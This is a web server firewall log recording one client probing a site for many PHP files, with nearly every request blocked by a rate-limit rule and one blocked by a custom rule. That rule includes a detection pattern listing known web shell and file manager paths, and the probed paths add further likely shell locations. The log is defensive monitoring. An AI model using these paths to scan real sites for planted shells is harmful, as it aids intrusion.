[Sun Apr 19 19:13:12.124688 2026] [:error] [pid 15760:tid 15784] [client 68.221.129.115:57781] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aeS4yPSdD_XHQMJ_ISvnPgAAAdA"]
[Sun Apr 19 19:13:13.009586 2026] [:error] [pid 15764:tid 15848] [client 68.221.129.115:57784] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeS4yWLL_sqdSHoVp-TgywAAAlY"]
[Sun Apr 19 19:13:14.056556 2026] [:error] [pid 15760:tid 15783] [client 68.221.129.115:51779] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeS4yvSdD_XHQMJ_ISvnSQAAAc8"]
[Sun Apr 19 19:13:14.864768 2026] [:error] [pid 47772:tid 47789] [client 68.221.129.115:30629] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeS4yoc0L16cb4smAz-SkQAAAAA"]
[Sun Apr 19 19:13:15.596343 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:3251] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aeS4y_SdD_XHQMJ_ISvnUAAAAdM"]
[Sun Apr 19 19:13:16.642612 2026] [:error] [pid 15760:tid 15778] [client 68.221.129.115:36463] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeS4zPSdD_XHQMJ_ISvnVQAAAco"]
[Sun Apr 19 19:13:18.616085 2026] [:error] [pid 15763:tid 15811] [client 68.221.129.115:50068] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeS4zrMXv1Y1THOoxaDVpwAAAg8"]
[Sun Apr 19 19:14:01.895533 2026] [:error] [pid 47886:tid 47908] [client 68.221.129.115:36442] [client 68.221.129.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeS4-USe8yiyuPrD7yNk4AAAANQ"]
[Sun Apr 19 19:14:14.876144 2026] [:error] [pid 15760:tid 15777] [client 68.221.129.115:40012] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeS5BvSdD_XHQMJ_ISvoBQAAAck"]
[Sun Apr 19 19:14:15.754415 2026] [:error] [pid 47773:tid 47823] [client 68.221.129.115:40020] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeS5B-iBHdnCJDuPq9AnwgAAAEc"]
[Sun Apr 19 19:14:16.572819 2026] [:error] [pid 47772:tid 47809] [client 68.221.129.115:3988] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeS5CIc0L16cb4smAz-TPAAAABQ"]
[Sun Apr 19 19:14:18.198182 2026] [:error] [pid 15764:tid 15830] [client 68.221.129.115:3980] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeS5CmLL_sqdSHoVp-ThMwAAAkQ"]
[Sun Apr 19 19:14:19.069795 2026] [:error] [pid 15760:tid 15782] [client 68.221.129.115:4018] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS5C_SdD_XHQMJ_ISvoDgAAAc4"]
[Sun Apr 19 19:14:19.958889 2026] [:error] [pid 15760:tid 15775] [client 68.221.129.115:57780] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS5C_SdD_XHQMJ_ISvoEwAAAcc"]
[Sun Apr 19 19:14:20.966673 2026] [:error] [pid 15763:tid 15801] [client 68.221.129.115:40672] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS5DLMXv1Y1THOoxaDV8AAAAgU"]
[Sun Apr 19 19:14:22.240288 2026] [:error] [pid 15760:tid 15776] [client 68.221.129.115:40011] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeS5DvSdD_XHQMJ_ISvoGAAAAcg"]
[Sun Apr 19 19:14:23.458565 2026] [:error] [pid 15760:tid 15768] [client 68.221.129.115:38375] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5D_SdD_XHQMJ_ISvoHAAAAcA"]
[Sun Apr 19 19:14:24.257195 2026] [:error] [pid 15764:tid 15836] [client 68.221.129.115:50091] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5EGLL_sqdSHoVp-ThPwAAAko"]
[Sun Apr 19 19:14:25.194684 2026] [:error] [pid 15763:tid 15816] [client 68.221.129.115:4029] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5EbMXv1Y1THOoxaDV9QAAAhQ"]
[Sun Apr 19 19:14:27.042309 2026] [:error] [pid 15764:tid 15844] [client 68.221.129.115:30639] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5E2LL_sqdSHoVp-ThSwAAAlI"]
[Sun Apr 19 19:14:27.863514 2026] [:error] [pid 47886:tid 47901] [client 68.221.129.115:3236] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeS5E0Se8yiyuPrD7yNk7QAAAM0"]
[Sun Apr 19 19:14:28.765255 2026] [:error] [pid 47773:tid 47834] [client 68.221.129.115:40015] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeS5FOiBHdnCJDuPq9AnxwAAAFI"]
[Sun Apr 19 19:14:29.644768 2026] [:error] [pid 15763:tid 15813] [client 68.221.129.115:36444] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeS5FbMXv1Y1THOoxaDV-QAAAhE"]
[Sun Apr 19 19:14:30.429478 2026] [:error] [pid 47775:tid 47867] [client 68.221.129.115:30609] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeS5Frmztjlk9tsmoewAJAAAAJg"]
[Sun Apr 19 19:14:32.190801 2026] [:error] [pid 47886:tid 47902] [client 68.221.129.115:52983] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeS5GESe8yiyuPrD7yNk8wAAAM4"]
[Sun Apr 19 19:14:33.177156 2026] [:error] [pid 47773:tid 47832] [client 68.221.129.115:3231] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeS5GeiBHdnCJDuPq9AnywAAAFA"]
[Sun Apr 19 19:14:34.177868 2026] [:error] [pid 15763:tid 15807] [client 68.221.129.115:40001] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeS5GrMXv1Y1THOoxaDV_wAAAgs"]
[Sun Apr 19 19:14:34.932795 2026] [:error] [pid 47773:tid 47829] [client 68.221.129.115:40061] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aeS5GuiBHdnCJDuPq9AnzgAAAE0"]
[Sun Apr 19 19:14:35.652649 2026] [:error] [pid 47773:tid 47833] [client 68.221.129.115:52940] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5G-iBHdnCJDuPq9An1AAAAFE"]
[Sun Apr 19 19:14:36.545112 2026] [:error] [pid 47772:tid 47792] [client 68.221.129.115:3228] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5HIc0L16cb4smAz-TXQAAAAM"]
[Sun Apr 19 19:14:37.364949 2026] [:error] [pid 15763:tid 15818] [client 68.221.129.115:40022] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5HbMXv1Y1THOoxaDWBQAAAhY"]
[Sun Apr 19 19:14:38.515793 2026] [:error] [pid 15764:tid 15842] [client 68.221.129.115:38378] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeS5HmLL_sqdSHoVp-ThVwAAAlA"]
[Sun Apr 19 19:14:39.364755 2026] [:error] [pid 15764:tid 15834] [client 68.221.129.115:4020] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeS5H2LL_sqdSHoVp-ThWgAAAkg"]
[Sun Apr 19 19:14:40.418839 2026] [:error] [pid 15764:tid 15839] [client 68.221.129.115:50101] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeS5IGLL_sqdSHoVp-ThWwAAAk0"]
[Sun Apr 19 19:14:41.630776 2026] [:error] [pid 47772:tid 47798] [client 68.221.129.115:40062] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeS5IYc0L16cb4smAz-TZgAAAAk"]
[Sun Apr 19 19:14:42.825817 2026] [:error] [pid 47772:tid 47800] [client 68.221.129.115:31311] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeS5Ioc0L16cb4smAz-TaQAAAAs"]
[Sun Apr 19 19:14:43.599226 2026] [:error] [pid 15760:tid 15774] [client 68.221.129.115:57743] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeS5I_SdD_XHQMJ_ISvoLgAAAcY"]
[Sun Apr 19 19:14:44.621686 2026] [:error] [pid 47886:tid 47889] [client 68.221.129.115:3242] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeS5JESe8yiyuPrD7yNk9gAAAME"]
[Sun Apr 19 19:14:45.711801 2026] [:error] [pid 15693:tid 15696] [client 68.221.129.115:50067] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeS5JcNMD-ccazQlTslOJwAAAUA"]
[Sun Apr 19 19:14:46.698811 2026] [:error] [pid 15764:tid 15831] [client 68.221.129.115:50108] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeS5JmLL_sqdSHoVp-ThXAAAAkU"]
[Sun Apr 19 19:14:47.917964 2026] [:error] [pid 15760:tid 15790] [client 68.221.129.115:36447] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeS5J_SdD_XHQMJ_ISvoMAAAAdY"]
[Sun Apr 19 19:14:49.461643 2026] [:error] [pid 15760:tid 15791] [client 68.221.129.115:38366] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeS5KfSdD_XHQMJ_ISvoOAAAAdc"]
[Sun Apr 19 19:14:50.405088 2026] [:error] [pid 15764:tid 15843] [client 68.221.129.115:38396] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeS5KmLL_sqdSHoVp-ThZAAAAlE"]
[Sun Apr 19 19:14:51.103545 2026] [:error] [pid 47886:tid 47907] [client 68.221.129.115:36423] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeS5K0Se8yiyuPrD7yNk-wAAANM"]
[Sun Apr 19 19:14:52.072816 2026] [:error] [pid 15760:tid 15784] [client 68.221.129.115:3261] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeS5LPSdD_XHQMJ_ISvoQgAAAdA"]
[Sun Apr 19 19:14:52.946064 2026] [:error] [pid 15763:tid 15806] [client 68.221.129.115:50098] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeS5LLMXv1Y1THOoxaDWDQAAAgo"]
[Sun Apr 19 19:14:54.992107 2026] [:error] [pid 15760:tid 15786] [client 68.221.129.115:36469] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeS5LvSdD_XHQMJ_ISvoSQAAAdI"]
[Sun Apr 19 19:14:55.893270 2026] [:error] [pid 47772:tid 47802] [client 68.221.129.115:38363] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeS5L4c0L16cb4smAz-TegAAAA0"]
[Sun Apr 19 19:14:56.621806 2026] [:error] [pid 15763:tid 15801] [client 68.221.129.115:3996] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeS5MLMXv1Y1THOoxaDWFgAAAgU"]
[Sun Apr 19 19:14:57.473629 2026] [:error] [pid 15760:tid 15769] [client 68.221.129.115:47139] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeS5MfSdD_XHQMJ_ISvoTwAAAcE"]
[Sun Apr 19 19:14:58.284957 2026] [:error] [pid 15763:tid 15809] [client 68.221.129.115:4003] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeS5MrMXv1Y1THOoxaDWGwAAAg0"]
[Sun Apr 19 19:14:58.865833 2026] [:error] [pid 15694:tid 15732] [client 68.221.129.115:57762] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeS5MrimB-jol1fwqAr_pgAAAYY"]
[Sun Apr 19 19:15:00.076759 2026] [:error] [pid 15763:tid 15811] [client 68.221.129.115:57778] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeS5NLMXv1Y1THOoxaDWJAAAAg8"]
[Sun Apr 19 19:15:00.676700 2026] [:error] [pid 15694:tid 15745] [client 68.221.129.115:52979] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeS5NLimB-jol1fwqAr_qgAAAZM"]
[Sun Apr 19 19:15:01.373573 2026] [:error] [pid 47886:tid 47910] [client 68.221.129.115:30637] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeS5NUSe8yiyuPrD7yNlAAAAANY"]
